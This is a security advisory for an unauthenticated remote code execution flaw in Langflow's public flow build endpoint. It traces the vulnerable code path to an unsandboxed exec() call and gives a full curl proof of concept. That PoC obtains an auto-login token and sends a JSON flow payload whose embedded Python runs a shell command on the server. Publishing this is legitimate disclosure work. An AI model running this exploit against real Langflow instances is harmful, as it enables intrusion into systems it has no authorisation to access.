Advisory

PYSEC-2026-379

Also known as: CVE-2026-33017, GHSA-vwmf-pq79-vjvx

Summary

Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

Details

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

@router.post("/build_public_tmp/{flow_id}/flow")
 async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

### Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81
  2. create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

### Step 2: Exploit -- Unauthenticated RCE

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\ n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Severity

Critical Basis: CVSS v3 score 9.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dates

Published
2026-06-29 11:50 UTC
Modified
2026-07-13 16:15 UTC

Affected packages and fixes

langflow

PyPI · All systems

Affected

  • introduced 0, fixed 1.9.0 (ecosystem)

Fixed versions

1.9.0

Fix

  • Fixed version 1.9.0
    pip install --upgrade langflow==1.9.0

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

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Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences